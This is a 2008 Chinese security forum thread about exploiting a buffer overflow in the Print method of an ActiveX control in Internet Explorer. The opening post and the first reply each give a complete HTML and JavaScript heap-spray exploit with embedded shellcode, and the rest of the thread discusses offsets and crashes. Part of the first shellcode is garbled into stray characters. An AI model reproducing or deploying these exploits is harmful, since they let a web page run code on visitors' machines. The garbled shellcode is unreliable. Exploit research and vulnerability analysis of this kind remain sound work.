首页
社区
课程
招聘
exploit B题目中的Print溢出利用
发表于: 2008-1-4 12:13 6096

exploit B题目中的Print溢出利用

dge 活跃值
6
2008-1-4 12:13
6096

<OBJECT id=target classid=clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2></OBJECT>
<SCRIPT>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape("%u9090邐邐邐邐邐邐邐邐邐" +
  "邐邐D䖋謼ռŸ误ᡏ律Ġ" +
  "䧫㒋Ƌ㇮駀蒬瓀섇්숁吻Ф" +
  "律Ĥ曫ಋ譋ᱟ᲋Ƌ觫⑜쌄" +
  "쀱譤぀삅౸䂋謌ᱰ训ࡨ৫肋°" +
  "梋弼噠삃偻Ҋ桟ﺘຊ" +
  "w揧污c");

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("ఌఌ");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress-0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
        memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
    while (spraySlide.length*2<spraySlideSize)
    {
        spraySlide += spraySlide;
    }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return spraySlide;
}

var  str1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
str=str1+str1+str1+str1+str1+str1+str1+str1+str1+str1+str1+str1+"\x0c\x0c\x0c\x0c";
target.Print(str,1,1,1,1);
</SCRIPT>

这是Print溢出的POC
Print方法产生溢出,导致覆对象数据,这样就可以用heap风水中介绍的方法覆盖虚函数表指针的方法利用,但是实验中总会产生异常,在调用虚函数的地方会产生异常。
02793969    57              push    edi
0279396A    FF12            call    dword ptr [edx]   //edx此时为0c0c0c0c
0279396C    8BE8            mov     ebp, eax

有知道的朋友,还望指教。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (2)
雪    币: 10936
活跃值: (3293)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
2
[QUOTE=;]...[/QUOTE]
<htm>
<object id="target" classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2"></object>
<body>
<SCRIPT language="javascript">
var shellcode=unescape("%u6A68%u380A%u681E%u8963%u4FD1%u3268%u9174%u8B0C%u8DF4%uF47E%uDB33%u04B7%uE32B%uBB66%u3233%u6853%u7375%u7265%u3354%u64D2%u5A8B%u8B30%u0C4B%u498B%u8B1C%u8B09%u0869%u3DAD%u0A6A%u1E38%u0575%uFF95%uF857%u6095%u458B%u8B3C%u054C%u0378%u8BCD%u2059%uDD03%uFF33%u8B47%uBB34%uF503%u0F99%u06BE%uC43A%u0874%uCAC1%u0307%u46D0%uF1EB%u543B%u1C24%uE475%u598B%u0324%u66DD%u3C8B%u8B7B%u1C59%uDD03%u2C03%u95BB%uAB5F%u6157%u6A3D%u380A%u751E%u33A9%u53DB%u6968%u646e%u6821%u656e%u7774%uC48B%u5053%u5350%u57FF%u53FC%u57FF");
</script><script language="javascript">
fillblock =unescape("%u0a0a%u0a0a");
while ( fillblock.length < 0x30000 ) fillblock += fillblock;
memory = new Array();
for ( x = 0; x < 400; x++ ) memory[x] = fillblock + shellcode;
var arg1='\x0a\x0a\x0a\x0a';
while(arg1.length<0x4800)arg1+=arg1;
target.Print(arg1,1,1,1,1);
</script>
</body>
</htm>

试下这个,
有点不完美的地方就是ie会暴错一次
2008-1-5 20:11
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
3
非常感谢楼上的朋友,你发的这个在刷新和关闭网页时都会触发,很强大,又多了一种利用方式。
我上面那个是覆盖484字节,利用方式已经解决了,分析在这里:http://bbs.pediy.com/showthread.php?t=57749
同样IE也会出错。
我那个484字节是通过FUZZING分析到的,你利用的0x4800是怎么想到的呢?
2008-1-6 13:07
0
游客
登录 | 注册 方可回帖
返回
//